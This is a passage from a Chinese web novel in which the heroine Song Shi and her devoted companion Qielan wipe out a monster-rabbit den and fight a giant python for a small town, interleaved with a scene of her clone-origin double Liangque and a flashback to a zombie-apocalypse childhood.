宋拾唇角微微勾起,伽蓝说的没错,人类总是不满足,她也一样。 在完成论坛任务后,找个地方安稳地过完一生,做一只小小的蜉蝣? 她不甘心,不满足这个结局。 无论是死在别人枪下,还是安稳的苟活,她都不想要。 爬得再高点吧宋拾,就像上一世一样。 清清嗓子,宋拾对上那双蓝宝石般的眸子,“你刚才说,永远忠于我,仰慕我。”陈述句。 他的耳朵倏地染上淡粉,长睫微颤,轻轻嗯了声。 “我提的任何要求,你都会答应吗?” “当然。” “真乖。”女人捧起他的脸,目光认真地,从他精致的眉眼、挺拔的鼻子、性感的唇瓣上一一扫过。 伽蓝呼吸蓦地紊乱,下意识垂下睫毛,“主人……” “那……如果我要你献出自己的一切,你也愿意吗?”宋拾凑近他,彼此温热的呼吸交织,鼻尖蹭在一起。 电流再次紊乱,男人眼底氤氲水雾,朦胧了视线,他慌乱地阖上眼眸,喉结滚动。 他听见剧烈跳动的机械心脏,“我的荣幸。” 宋拾一字一句道:“我想要你的精神术法,全部。” 伽蓝掀开眼皮,惊愕一闪而过,随即露出温和的笑容,“这就是主人想要的吗?” “是的。”她松开了手,往后退了一步。 与其当任人宰割的羔羊,她不介意再卑劣点。 “如您所愿。” 金色的领域消失,庭院里的人瞠目结舌,看着突然消失又突然出现的两人。 伽蓝的容貌又恢复成平平无奇的模样,眼睛头发还是黑色的,宋拾猜测,在领域中,他大概使用了某种致幻的精神术法。 从屋里出来的孩子们吸气,窃窃私语起来,内容包括但不限于“世界上真的有魔法”和“科技改变人生”。 镇长激动上前,恨不得拜一个,“你们是精神师吗?” “是。”宋拾并不否认,“很感谢各位昨晚的收留和款待,但我们现在要离开了。” “不,我求求你们。”镇长却眼含热泪,膝盖弯曲,就要跪下,宋拾手疾眼快扶起他。 两人中,显然是女的做决策,所以他始终面对着宋拾。 “山上还有好多兔子,对我们普通人来说相当棘手,但你们是精神师——” “所以呢?”宋拾打断他,声音有些冷。她讨厌别人把她架得很高,再站在道德的制高点,趁机要挟。 镇长说:“我们会付雇佣费!您看看这些可爱的孩子,他们需要一个安全的成长环境。安妮,过来!” “镇长爷爷,找我什么事?”女孩蹦蹦跳跳过来,马尾高高扬起。 镇长揉了揉安妮的脑袋,看向宋拾:“精神师大人,您看,这些孩子多可爱。安妮,你求求大人帮帮咱们。” 安妮是个聪明想孩子,她拉住她的手,撒娇道:“小拾姐姐,你就帮帮我们吧,大兔子太可怕了,连阿博特哥哥都没办法。” “安妮!这样不对。”匿在角落里的林默突然出声,他头顶还戴着那个花环,“我们是在求人,而不是逼人。” “可……我们不就是在求小拾姐姐吗?”安妮面上露出茫然。 “这是在咄咄逼人。”林默叹气。 镇长不悦:“林默,你不要胡说。” “……”宋拾深呼吸,“好,我会帮你们。” 镇长苦皱的脸瞬间绽放,“太、太好了!我们今晚还有一年一度的篝火晚会,要是两位有时间,可以来看看。” “多少星币?” “什么?”镇长一愣。 宋拾双手抱胸,“你刚才说的,雇佣费,我不干没有好处的事。” “有的有的!大人您放心!我现在去准备下。”镇长一阵点头哈腰,急忙去安排其他人了。 “嗯。”宋拾颔首,突然,衬衣被轻轻扯了下,她低头,是安妮憋红的小脸。 女孩绿眼水灵灵的,有些羞赧,“姐姐,我刚刚真的是在逼你吗?” “是的,还是我很讨厌的方式。”她果断得有些不近人情,但随即露出一抹笑意,“但这不算错事,因为你只是在争取,并且也很有效,不是吗?” 安妮捏起衣角,“可默默说,这不对。” “……”宋拾不打算支教,而且像她这种毒教材,恐怕会教坏孩子,于是随便说两了句打发。 女孩离开后,伽蓝才凑近,终于将心底的不解问了出来:“主人你明明不愿意,为什么还要帮他们?” “你怎么知道我不愿意?”宋拾反问道。 伽蓝漂亮的眉毛纠结地蹙起,良久才道:“镇长,很讨厌。” “是,我也不喜欢他,但不可否认,他的确是个好镇长,为了镇民甚至下跪,愿意付出,这就足够了。” 镇民们准备的很迅速,一个个背起了猎枪,在庭院内聚集。 人群里,甚至有几个熟悉的面孔,做饭好吃的贝蒂、阿博特、陈才俊……还有个小身影混在人群里。 伽蓝像是接收到指示,将小家伙揪了出来。 “放开我。”林默挣扎着,伽蓝松开了他。 “林默!”镇长有些愠怒,快步上前,“你再这么下去,我就只能把你关进小黑屋了。” 闻言,男孩讥讽一笑:“关小黑屋?您还有没有点别的新意,比如你把我——” “啪!”镇长愤怒地一巴掌抽在男孩白净的脸上。 花环掉在了地方,又被镇长无意地踩了上去。 “够了。”宋拾蹙眉。 “大人……他……” 宋拾注视着男孩,林默不卑不亢地抬头,肿着左脸任她打量。 她弯腰捡起花环,拍了拍上面的灰尘,“还记得今天早上的话吗?” 林默愣了愣,很快反应过来,咬牙:“我不是莽夫,我和他们一样,我有能力——” “如果你有能力,就不会被人揪出来,就不会被扇耳光了,而是,像我一样。” 良久的沉默,男孩眼眶有了湿意,“我只是想,快点长大……我想要报仇。” “你帮我保管了花环,现在我给你一个机会。”宋拾与他对视,低声,“我可以教你一个术法,但前提是,你是那个万分之一,被眷顾的人。” “如果你能成功使用术法,可以申请进联邦,那里有更好的资源,联邦不会苛刻任何一个精神师。” “精神师?”他大脑一瞬间空白,多么遥远的称呼。 那一定是一个值得憧憬的未来吧。 宋拾继续道:“两个选项,一个是治愈术法,一个是攻击术法,你要选哪个?” 镇长皱着眉,却不敢上前,只见两人低语不知说了什么,男孩脸上展露喜悦的笑容。 他一愣,林默居然会笑? 讲述完全部,宋拾站直腰,将花环递给他,“继续帮我保管,直到我回来。” “好!”林默弯起眼睛。 镇长上前,恭敬的模样:“大人,我们现在可以出发了。” 宋拾丢掉木匣,仰头喝完精神值拓宽药水,眯起眼睛:“走吧。” 那个看不见的“壁”,拓宽了。 第40章 碧波荡漾的湖泊,在阳光的光辉下,闪着金灿灿的波澜,沿岸盛开着不知名的花朵。 与初次途经这里不同, 镇民们没精力、心情去欣赏眼前的一切, 每个人都神经紧绷,表情严肃,没有任何交流的意思。 但宋拾有些期待,喝过精神值拓宽药水,和获得新术法后,自己现在究竟达到了什么水平呢? 领域消失那刻, 她便察觉到脑海中多了些东西, 这种感觉很玄奥, 像连上了蓝牙。 那些一切不可言说的术法,都变成了具象的符号。 只是当时迫于情况,她没能及时查看这些术法,现在离目的地还有一段距离, 宋拾趁机溜进精神识海中逛逛。 只要接触那些光团, 就能读取到它们的名字和信息。 粗略地数了下,除掉她原本就会的,多出了竟十余种, 不出意外, 刚才伽蓝使用的是“共享”。 领域、共享、幻觉、空间传送、湮灭…… “领域”可随时召唤,不受任何科技和精神力干扰,但同时,亦无法窥探到外界,不管怎么说,这绝对是个保命的好东西。 天罚也不叫天罚, 而是叫“湮灭”,伽蓝喊天罚,大概是……为了提高逼格? 不过,让她没想到是,威力如此恐怖的光团竟然只是湮灭的初级形态? 那高级形态……宋拾几乎控制不住心中的兴奋,心跳加快,连带着看伽蓝都顺眼了。 觉察到视线,伽蓝眼眸一弯,“主人,怎么了?” “你很可爱,特别是现在。” 青年身体一僵,如玉的脸上升起一抹红,迅速蔓延至耳根。 没再管伽蓝的反应,宋拾偏头,看向身后的阿博特,“山上还有其它异种吗?” “没有。”阿博特脱口而出,顿了顿,他仔细回忆了下,“我们只见过兔子。” 陈才俊猛拍了下他的肩膀,笑道:“要不是那些兔子数量多,繁殖速度快,我们阿博特一个人也能解决。” “不、不,也没那么厉害。”腼腆的青年红了脸,看着前面的女人,支支吾吾:“那个……今晚的篝火晚宴,小拾姑娘能成为我的舞伴吗?” “呃……我不会跳舞——” 她话还未说完,绸缎似的长发轻飘飘地在眼前荡起优美的弧度,伽蓝挡在两人之间,笑容礼貌而疏离。 “你说迟了,姐姐已经答应做我的舞伴了。”他眼底淬冰,但在看向宋拾之际,又变得纯粹无害,“这是我的奖励,对不对?” “……”看在新术法的份上,她缓缓点了点头。 伽蓝盯着她,唇角牵起,“姐姐真好。” 队伍继续前行,远离了湖泊。陈才俊看着落在队伍后面、蔫吧的青年,叹了口气,摇头:“你小子没机会了,放弃吧。” 阿博特攥紧拳头,“我不想就这么放弃。” 话音刚落,明明在日头下,他却感受到渗入骨髓的寒意,瞬间打了个寒噤,可抬头看,什么也没有。大概,是他的错觉吧。 山路越走越崎岖,即便如此,背包内依旧安安静静。自从离开研究所,活肉便一直处于沉睡状态。 踏入荆棘丛,一截宽松的袍袖挡在身旁,替她拦下了大片荆棘刺。 宋拾视线落在伽蓝露出的肌肤上,细长的血痕纵横交错,横贯在他手臂上,殷红的血珠顺着雪白的腕滴下。 察觉到目光,伽蓝抿唇浅笑,“主人?” 若是别人,面对如此贴心的人,心早就软了,可宋拾却愈发警惕。 “小心点,血液会吸引异种的。”她虚抚过他的伤口,伤口愈合,新长的皮肤透着淡粉。 她心知肚明,他只要使用精神术法就可以避开全部的荆棘,却偏偏用身体挡,目的不言而喻。 就像在领域中他说的那样,他想要获得她的信任。 无缘无故的,他究竟要做什么? 宋拾的眉头越皱越紧。 “到了!”镇长高声喊了一嗓子,将她从思绪中拉起, 繁茂的树林植被中,露出两人高洞口,一片漆黑,深不可测,这就是兔子洞了。 刚下过雾雨,土地湿软,洞外,是两道新鲜的血迹、碎肉,和拖动尸体留下的痕迹,一路延伸进洞里。 杂乱的矮草下,还有鲁德兔脚印。 有部分鲁德兔出去觅食了,至于是不是镇上那批,就不得而知了,不过还是小心谨慎为好。 观察完毕,宋拾看向镇民们,“来几个人和我一起进去,剩下的人在外面候着,如果有什么意外,终端联系。” 没有异议,但他们你看看我,我看看你,迟迟没有动静。 他们都是自愿前来,但真要面对那批恐怖的生物,一腔勇气瞬间熄了火,恐惧涌了上来。 要真有个…… “咳咳,还是让我这把老骨头做个表率吧。”镇长咳嗽两声,向前走了几步。 “我来!镇长您在外面等我。”阿博特率先站了出来,随后是贝蒂和两个不知道姓名的镇民。 打开终端灯光,宋拾伽蓝和四个镇民朝洞的深处走去。 脚下的路还算平整,但越往里走,腐臭和血腥越是浓重,熏得一个年轻的姑娘干呕了几声。 阿博特扶住她,低声:“南希,没事吧?” “没事,我还好。” “嘘。”宋拾打断他们。黑暗中,她的左眼看得格外清楚,密密麻麻的眼睛,正在虎视眈眈盯着他们。 人们立刻屏气凝神,大气不敢出,攥紧手中的猎枪。 僵持几秒,那些眼睛似乎在顾虑什么,并没有冲上来,依旧躲在暗处观察。 宋拾呼出一口气,压低嗓音,“继续走。” “啊啊啊!”突然,有人扯着嗓子尖叫。 伽蓝一把掐住那人的喉咙,温和的语气:“保持安静,可以吗?” 男人惊恐地点了点头,随即,脖子上的力道一松,他连滚带爬远离伽蓝,攀住离他最近的人,“刚才,我,我脚底下有个人头。” 只见,南希苍白着一张脸,紧紧抱住阿博特的胳膊,贝蒂同样惊恐地望着他。 “你们都往后退是什么意思?看吧,我就说不是我胆小……”他顿住,如果他们都在那边,那他搂着的是谁? 男人瞬间毛骨悚然,梗着脖子扭头,模糊的光源下,是一张白如瓷的兔脸,呲着锋利的尖牙。 “啊啊啊啊啊!” 瞬息间,一个迷你的小光球袭向鲁德兔,身上一空,男人惊魂未定瘫倒在地,而那只兔子已不见身影。 宋拾这才缓缓吐出口气,看着掌心,没想到她控制的还不错,没伤到人。 阴影中,伽蓝低声笑了,深色的瞳仁暗流翻滚。 湮灭是稀有的高阶术法,就连他也老老实实练了一个月,才发出一粒芝麻大小的光,更别提如此恐怖的控制力了。 他的主人……真的很不一样。 宋拾走到瘫地上的男人面前,俯视:“你先出去吧。”一惊一乍的,她不敢保证下次还能及时救人。 “不要!您不能丢下我一个人。”男人一把鼻涕一把泪,扑打抱住大腿,“谁知道会不会有东西跟着我啊!” “胆子那么小,当时为什么要跟进来?” 男人愤恨道:“我才不想进来!是有人推我……可别让我揪出来是谁。” 年长的贝蒂摇头,用力捞起他,“我来吧,我送他出去,送完我再找你们。” 男人又嚎了起来,“你一个一大把年纪的厨子,你能干什么?我要精神师大人带我出去!” “你!”贝蒂见他耍无赖撒泼,恨不得拿锅扣他头上。 “我要……”男人恐惧地看着眼前的光团,捂住嘴,下半截话咽下去。 宋拾嗓音泛冷,“我说过安静,你再敢嚎一句,现在就能送你见上帝。”她手垂下,光团消失。 贝蒂扯着男人离开了。 洞内又恢复宁静,但宋拾知道没那么简单,那家伙的嚎叫绝对吸引了不多鲁德兔,暗处的眼睛多了近一倍。 掌心的光已经完全暗淡,一个大胆的想法慢慢发芽。 洞内,水滴滴答答从壁上落下,凉意似沁入布料,附着在皮肤上。 两人心照不宣沉默着前行,前方隐约透着亮光,快到洞口了。 贝蒂脚步顿下,“到了,我先回去和他们会合。” “要不你和我一块出去?要我说,什么狗屁精神师,赔了命多亏啊。”男人搓搓胳膊上起的鸡皮疙瘩。 贝蒂鄙夷后退了几步,“不了。”说罢,扭身离开,身形逐渐被黑暗吞噬。 男人啐了一口,大摇大摆朝出口走,走近看清眼前的场景,他僵在原地,血液倒流,嘴唇发抖泛白。 光源消失,地面剧烈震动起来,他大脑轰地空白。 哪里是什么出口,那是一颗巨大的眼珠。 血腥似乎更浓烈了些,与空气交织流淌。 南希怯懦出声:“你们……有没有听到什么声音?” 但没人回应她,此刻,宋拾和伽蓝正聚精会神搓光团,就连阿博特也守在旁边。 阿博特挠挠头发,“这个方法可行吗?” “试试就知道了。” 比起碰运气杀,她更喜欢用简单粗暴的方法,比如,用湮灭轰了整个兔子洞,主打一窝端。 身旁漂浮的光团,像一盏盏灯,将洞内照得亮堂。 她的额头冒出紧张的汗水,碎发黏在脸颊上,良久,她吐出口气,露出一抹笑意: “成了。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 40-50 第41章 白光与金光交织, 霎时,亮如白昼,它们冲向洞穴最深处。 不多时, 宋拾和伽蓝同时感应到光团的力量消失。 她眸中闪烁着光, “成功了,里面不可能还有活物。” 出乎意料的容易,阿博特不禁有些恍惚,他拼尽全力也杀不死几只兔子,而她只需要挥一挥手,一切便结束了。 他们之间的差距, 犹如天堑, 不可跨越的鸿沟。 “回去吧。”宋拾伸了个懒腰, 往回走。 “大……大人。”一直当隐形人的南希突然喊住她。 少女一直安安静静的,几乎没什么存在感。 “怎么了?” 南希蹙起眉毛,小心翼翼地环顾了四周,“我刚才,听见了一些声音,会不会还有什么东西。” 宋拾沉吟,“哪里的声音?” “好像是出口方向。” “也许是那些外出的鲁德兔回来了。” 四人的视线撞在一块,拔腿开始往出口跑。 黑色浓稠,伸手不见五指,空荡荡的洞穴回响着彼此的脚步。 终于,隐约的光亮从不远处透过来。 跑出洞穴的一刹那,空气变得格外甜美清新,雨后的露珠,清新的嫩芽。 镇民们见他们出来,露出了笑意, 高兴地迎了上去。 “精神师大人!” 年轻的少女们瞬间将伽蓝围了起来,一脸崇拜,询问他累不累渴不渴,争相邀请他当晚宴的舞伴。 伽蓝只是淡笑,“我已经有舞伴了。” 宋拾并未注意到那边的动静,她顿住脚步,同时也深深舒了口气。 还好没有危险。 只有镇长拧紧眉,忧心忡忡地走到她面前,“大人,还有两个人没有回来啊。” 宋拾一愣,“他们不是先回来了吗?没回来吗?” 阿博特也走了过来,“我做证,当时杰弗里害怕,贝蒂就带他先去了。” “这……”镇长叹息,看向洞穴,“他们恐怕,凶多吉少。” 宋拾陷入沉默,回来的路上,她并未察觉到其它生命体,难道洞穴内还有他们未曾注意到的路口? 这时,洞穴内传来踉跄的脚步声,以及几声枪响,呼救中一个人影现了身,是贝蒂。 她狼狈地跑出洞口,乱蓬蓬的头发,右手受了伤,渗出鲜血,滴滴答答一路。 “快,快跑!”贝蒂高声大喊,“里面的大家伙,它吃掉了杰弗里!” 山洞剧烈颤抖,碎石落下,那个大家伙显露了真身,是一条巨蟒,大半个身子匿在洞穴里,张着血盆大口,咬向附近的人。 一个倒霉蛋就被咬住了头,还没来得及逃跑。 咔嚓一声,身首分离,吞入蛇腹。 “它、它吃了陈才俊!”不知是谁喊了一句,人们嗡地一声,如四散的苍蝇,惊恐地往山下跑。 骚乱动荡,原本的喜悦被恐惧不安所取代。 “大、大人,救救我们。”镇长颤巍巍地跪下,寄希望于他们。 “……”宋拾盯着那条巨蟒,有些犯怵,“我试试,伽蓝,放球。” “好。”男人走至她身旁,一头黑发似月色流淌。 金色的光团接触到巨蟒的一瞬,它纵身一扭,躲过攻击,光团化作点点碎星,消失。 宋拾不信邪,咬咬牙,释放精神力,掌心中凝结出一团硕大的白色光团。 摧枯拉朽之力朝着巨蟒袭去。 光团速度快,巨蟒速度更快,扭动蛇身避过,快速碾倒树干。它身形巨大,遮天蔽日,天空霎时一暗,追着四散的人群下山。 镇长绝望地扑倒在她脚下,拽住裤脚,嗓子都喊破了,“大人!千万不能让它下山啊!孩子们逃不掉的!” 是啊,山下还有孩子。 宋拾重重吐出口气:“领域。”淡蓝色的光从肌肤上溢散。 蓝光大盛,极速汇聚,凝成一个巨大的屏障,将一人一蟒罩在其中。 树林刹那一空,歪七扭八的树木倒在泥土上,劫后余生的人们瘫倒在地,大口喘气。 绵绵细雨,轻轻落于发上。 男人站在原地,他的脸色苍白,望着宋拾刚刚的位置,发闷的笑意在胸口震颤。 “大人呢?”镇长浑身污泥,茫然地起身,突然视线被高大的身影遮住。 男人在注视下,迈开长腿走向他。 “你最好祈祷她能回来。”伽蓝嘴角噙着温和的笑,但眼神冰冷得让人不寒而栗,优雅的腔调在舌尖上打着旋,“不然……你就要祈祷你们镇没事了,我不是她,我不在乎你们镇上有多少无辜的小孩。” 他什么都不在乎,无论是救人还是杀人,无论是好是坏,只要她想,他都会做。 但总让自己陷入危险中,显然不是美德,如若必要,他会纠正这一切。 …… 乌云沉沉,雨如细密织网,罩住整个挪亚街道,雨水打湿花瓣,润湿泥土。 一辆暗银色悬浮车停下,车门缓缓打开。 一双黑靴踏在松软的泥土上,踩碎枯黄的落叶。 湿润的薄雾,像撕不破的细纱,低飞的鸟儿扑扇着翅膀飞过。 有人摊开手,接住那根落羽,平平无奇的褐色羽毛。 女人面容清丽,一身卡其色风衣,踏着黑色短靴。风衣长至小腿,松散地敞开,透出挺括的白衬衫。 “谅雀小姐,回溯基地就是这里了。”金发女人撑开雨伞,罩在头顶,挡住湿热黏腻的雨。 谅雀墨似的眸子扫过小镇。 这里飘逸着好闻的花香,蘑菇样式的房屋俨然有序,有几个孩童踩着水坑,嬉笑玩闹。 街道算是热闹,商贩们吆喝着,摊位上瓜果齐全。 人们看见她们,总是颔首微笑。目光里是谅雀熟悉的奉承,和不熟悉的善意。 而今晚,这里就会变成一片废墟了。 “小拾姐姐!” 一阵清爽的柔风将一个活泼的孩子送到两人面前。 绿眼女孩仰头,满脸好奇:“姐姐,你头发变长了哎。” 面前的小拾姐姐,身形依旧消瘦单薄,黑发随意地扎在后脑勺,熟悉的五官,却又带着说不清的陌生感。 就像……另一个人。 安妮摇了摇头,打散思绪,拉起她的手,“姐姐,默默还是做不到,要不然你再教教他,他今天的眉毛都能夹死蚊子了。” “小姐,您居然偷偷来过这个地方,甚至没告诉我。”温妮莎幽怨地看向谅雀。 “他们把我看得很紧,特别是你哥哥,就算我长出翅膀,也不可能离开。” 谅雀平静地眨动睫毛,“不过无所谓,对吗?这趟是我好不容易争取来的机会。” 她垂眸,看着掌心的小手,“我想多看看外面的世界。” “姐姐,你们在说什么啊?这位姐姐又是谁呀?”安妮无措地抿唇,对方手掌冷得像块冰。 “你不是要给我看什么吗?”谅雀僵硬地牵动嘴角,温妮莎告诉她,这叫“微笑”。 女孩眼睛一下子亮起来,“对,默默!” 女孩牵着她就往街道深处奔跑。 “谅雀小姐,万一是回溯的圈套怎么办?” 无人回应。 温妮莎咬咬下唇,下定决心似地追上去。 跑了几步她便意识到不对劲,两人的身影凭空消失,只飘下一句: “不用担心我。” 雨势渐大,盖过了脚步的声响。 “默默怎么也发不出你说的蓝光。” 女孩说着,拉谅雀进了一个大院。 孩子们哄闹着,荡秋千捉迷藏,只有一个男孩坐在角落里,与周遭场景格格不入。 “默默,小拾姐姐回来了!” 男孩猛然看过来,抱着什么跑了过来,他扬起嘴角,双手捧住花环:“姐姐,还给你。” 对方并没有接,他仰头,看清面容后下意识后退了几步,将花环护在身后。 “你不是小拾姐姐。” 谅雀俯下身,与他平视:“我的确不是她。” 闻言,连安妮都吓得后退,躲到默默身后,“可是,一模一样啊。” “你们说的小拾姐姐,是个什么样的人?”谅雀眉头微微上扬,好奇问道。 虽然她一直被关在联邦,但不代表一无所知,很多外界的消息温妮莎都会告诉她,比如……她的克隆体。 对于克隆这件事,谅雀并不愤怒,只是好奇那个活下来的克隆体。 她一定替她见过了很多东西。 谅雀天生体弱多病,联邦花费损耗金钱时间,也无法改变她最多还能活两年的寿命。 制造她的克隆体,无可厚非。 联邦一向如此,为达目的不择手段。 如何让一个人对联邦死心塌地? 先给她希望,再摧毁希望。 一只宠物狗,几个好朋友,只是快要轮到她了而已。 “小拾姐姐是个很温柔的人,很厉害,她还是精神师哦!”安妮探出头,有些怯懦地说。 “安妮!”默默严肃呵斥。 “可她看起来不像是坏人啊。” 默默纠正她:“坏人是不会把坏写到脸上的。” “小拾姐姐也长这样啊,难道小拾姐姐是坏人吗?”安妮不赞同。 谅雀真心实意地弯起了嘴角,看向警惕的男孩:“你想学精神术。” 这是一个陈述句。 男孩的脸唰一下红了,“关你什么事!” “我可以教你怎么释放精神术法,交换是,不要告诉别人我来过,特别是你们的小拾姐姐。” “我凭什么要相信你?”男孩又后退几步。 谅雀愣住,她还没思考过这个问题,但很快,她想到了什么。 “我们是姐妹。”她平静的脸上一本正经,“你看,我和她是不是长得一模一样?” 说谎于她而言,就像喝水那么简单。 两个孩子沉默许久,终于,男孩大概是耐不住诱惑,点了点头。 雨水淅淅沥沥,敲打屋檐,敲醒草丛沉睡里沉睡的青蛙,屋内的老式钟表缓慢跳动,像是一场合奏演出。 手腕处传出震动,谅雀点开通讯,是温妮莎哀怨的声音:“时间到了,我们现在必须要回去。” “知道了。”谅雀放下手臂,目光落在两个孩子身上,再次嘱咐,“不要告诉任何人我来过。” “好。”默默脸上的符文淡了下去,难为情地垂下头,“谢谢你。” 安妮不舍地捏住她的衣角:“姐姐你还会来吗?说不定小拾姐姐也想你。” 谅雀眸色暗淡,轻声:“我更希望我不会再来。” 今晚,挪亚就会消失了,几乎没有回旋余地。 第42章 “嘭!”巨蟒猛地撞上屏障。 明亮的光团, 如疾风般飞至。 它竖瞳骤然一缩,像是清醒大半,蹿过袭来的攻击,身又一扭,朝着宋拾的方向袭来。 宋拾稳住呼吸,掌心再度凝聚光,鼻尖隐约嗅到阴冷的蛇腥气。 顷刻之间,尖锐的獠牙,猩红的蛇信子近在眼前,光团几乎要凝聚成形。 刺啦一声布料撕破的声响,比光团更快的是道红影,一闪而过,她甚至没看清是什么。 下一秒,巨蟒消失了。 她不禁屏住呼吸。 屏障内只剩下她……不,还有个东西。 距离她十米处,那个刚膨胀起来的红影, 突然肉眼可见地萎缩下去, 逐渐变成她熟悉的样子——天使三十三号。 活肉活跃地蠕动了几下。 宋拾这才想起背包,放下一看,果不其然, 豁开一个大口。里面的器皿倒是完好无损, 仅仅只是塞子掉了。 “……”毫无疑问,活肉比巨蟒更棘手,直接上手相当于给它加餐了。 还未想到对策,三十三号已经调动每块肌肉朝她蛄蛹而来。 肥厚黏腻的肉芽,像无数触手,缓慢移动, 伸缩之间留下一道长长的黏液。 好恶心。 背包从手中脱落,宋拾额头出了层汗,踉跄着朝后退了退。 如果把领域解除,它要是跑了,后果不堪设想,可不解除…… 冷汗渐渐浸透衣衫,吸血虫般附着在在皮肤上,冷不丁地,鸡皮疙瘩爬遍全身。 她的神经像根绷紧的弦,视线紧紧追随那块活肉。 出人意料的是,它蠕动到背包旁就停下了,肉芽伸长探进背包的罐体里,整块缩了进去,还颇为体贴地伸出一根肉芽卷住塞子,盖好。 “?”宋拾不懂,但大为震撼。 她小心翼翼上前,半蹲下扒开残破的背包。三十三号像失去了活性,安静地待在器皿中。 它出来……好像只是吃个外卖。 宋拾用碎布裹紧罐子,抱起,刚松弛下来的肩膀又紧绷起。 论坛承认伊索纳德号上运的是活肉,可任务进度仅仅到了45%,说明提交的信息依旧不足、不准确。 要么船上还有别的东西,要么就是让她填写得更加具体些——活肉究竟是什么? 这些,恐怕要等伽蓝记忆全部恢复,才能得出答案。 蓝色的屏障化作点点碎星,消散,周遭场景随之变化,树林雾雨,青草土腥。 雨幕下,男人顶着雨水快步走来,他濡湿的碎发黏在脸颊、额头,显得脆弱狼狈。 高大的身影罩下来。 “主人!”那双眸子颇有些委屈,“为什么不带上我? ” 湿热的呼吸洒在头顶,两人挨得极近,她清楚地看见他那根根分明的睫毛颤抖着,像是克制,又像是后怕。 他的目光太过缱绻温柔,一不小心就要将人溺毙。 真情还是假意?宋拾不知道,但它必须是真的。 她需要他的记忆,需要他恢复全部记忆后不反水。 “低头。” 闻言,伽蓝乖巧地垂下头。 “真乖。”她含笑,捧起他的脸。 那双手并不白嫩,它生着厚厚的茧子,粗糙但足够温暖。 他喉结滚动,被她抚过的地方如被羽毛扫过,泛着若有若无的痒意。 “因为我需要你在外面帮我守着呀,我需要你,伽蓝。” 她亲口说,她需要他。 伽蓝垂下眼睫遮住情绪,嘴角悄悄翘起,“如果这是主人希望的,那么,如您所愿。” 宋拾放下手,视线穿过他,看向不远处的寥寥几人,镇长、阿博特和贝蒂,其他人应该都已经回去了。 见她看过来,几人这才靠近。 “大人,您没事真是太好了!”镇长露出笑意,皱纹更深了些。 贝蒂眼尖心细,一眼就看见她抱在怀里的包,“是不是破了?要不让阿博特给您修一下,别看这小子五大三粗的,针线活一点也不差。” 阿博特红了脸,腼腆地看向宋拾,挠了挠头,“小拾小姐如果放心,就可以交给我。” “我可以学吗?”伽蓝突然出声,微笑着同阿博特对视。 “您要学?这当然可以。”阿博特并没品出不对劲的地方,一脸憨笑地答应。 回到小镇后,日落西山,待最后一缕余晖散尽,暮色昏暗,只有头顶静谧的星空图。 夜晚的湖泊泛着冷色的涟漪,星月在湖面上闪烁。 一年一度的篝火晚会并不会为亡魂而取消,如往年那般,镇民聚在湖边,架起篝火,星星点点的火花崩溅。 镇长说,这次死伤是最轻的一次,三个人受伤两个人死亡。 不知为何,宋拾脑海中,浮现清晨那个调皮男孩的脸,她看向聚在一起玩闹的孩童们,没有他的身影。 从今天开始,那个院子里又多了一名孤儿。 一杯杯冷酒下肚,宋拾面上绽放着笑,看着眼前欢快的人们。 林默还是不喜和人亲近,扭身躲过镇长的手,安妮换了身新裙子,同漂亮的姑娘们跳舞,像是只欢乐的蝴蝶,还有腼腆的阿博特,被女孩追着灌酒,就连伽蓝也被壮汉们揪去比谁更健壮…… 就好像,一场美梦。 她站起身,为舞者们鼓掌,替她们喝彩,逃亡的心惊胆战与未来的迷茫也在此刻尽数卸去。 可寂寞却又如同潮水涌来。 宋拾很少谈及自己的过去,她总是朝着被迷雾遮挡的未来奔去,从不去回头,大概是因为没有什么值得拿出来反复品味的东西吧。 又或许有那么一点。 记忆与思绪逐渐飘向更远、更远的地方,飘到一望无际的农田上,泛黄的画面清晰起来。 “宋拾,你爸妈回来了!”伙伴远远跑来大喊。 “真的?”乡间小丘上,女孩惊喜抬头。 “真的!” 丢下手里的蟋蟀,一路奔回家,那个已经走了无数次的泥巴路,第一次那么蜿蜒漫长。 高大的槐树就在眼前。 熟悉的小院,熟悉的木门,爸爸妈妈,就在里面。 近在咫尺的亲人,她却迟迟未推门而入,在终于鼓起勇气推门时,突然爆发的争吵扼制住了她的脚步。 “离婚!我是和你过不下去了!” “离就离!”女人尖锐的声音几乎要撕碎她的耳膜。 男的深深叹了一口气,“孩子我也不要了,你带走吧。” “带走?带着那个拖油瓶我还怎么结婚啊?宋志深,你还是个男人吗?!她要是聪明讨喜点还好,你看看考的那破分数,连一科及格的都没有!” “谁让你生的是个女孩,生下来也是赔钱货!祸害!” 赔钱货,祸害…… 没关系,没关系的,宋拾。女孩手掌贴在门上,眨了眨眼,将逼出眼眶的泪眨了回去。 “哎呀,别吵了,囡囡我养着就行,我这把老骨头还能走还能动,囡囡的事,以后不需要你们操心。” 年迈的身影从她身旁推门而入,苍老的声音、熟悉的口音让她好不容易憋住的泪大颗大颗落下。 “奶奶。” 被泪水模糊的视线里,那个苍老的人抱住了她:“囡囡不哭,乖哦。” 那时丧尸潮还没爆发,奶奶总是躺在旧藤椅上,抱着她,扇着蒲扇:“囡囡长大以后要去大城市的哟。” “奶奶也去!” 老人眼角的皱纹露出笑意:“奶奶也去!” “那我们拉钩!” “拉钩上吊一百年不许变。” 那是一个冬天的午后,奶奶拉着她的手,在后院种下草莓藤。 奶奶说,等草莓成熟结果了,爸爸妈妈就回来了。 草莓、草莓,她期待了一整个冬天,但冬季太过漫长,漫长得大雪带走了她的奶奶,唯一爱她的人。 她哭着、喊着,撕心裂肺,嗓子都哭哑了。 但那双眼睛再也不会睁开,再也没有人喊她囡囡。 爸爸将她带走了,虽然,不情不愿。 她没能看见草莓藤结果,惦记了好久的,奶奶亲手栽的…… 恐怖的丧尸潮终于爆发,犹如洪水大火,蔓延全球,为一个时代拉下最后一幕,画上圆圆的句号。 末世是个什么地方? 秩序失衡,人性崩坏,社会消失。 善良道德成了最可笑的笑话,而卑鄙残忍却成了那个时代能活下去的真言。 她看着身边的人死亡,看着兄弟反目,夫妻成仇,家庭早已成为末日课本上的一个概念;看着高楼大厦倾倒,炮火不断,政府垮台,邪恶与欲望笼罩那个时代。 还记得某个清晨,爸爸反常的温柔,揉着她的脑袋,柔声细语: “小拾是不是也很想妈妈?妈妈就在外面,你去把她接过来,以后我们好好生活。” 可是爸爸,楼道里都是丧尸啊。 她仰头看着父亲,荒唐地妄图从他眼里找出半点不舍与愧疚。 但是,没有。 什么也没有。 这个时代,便是如此的不近人情。揭开一切贪婪罪恶的面纱,人性的丑陋在生存下展露无遗。 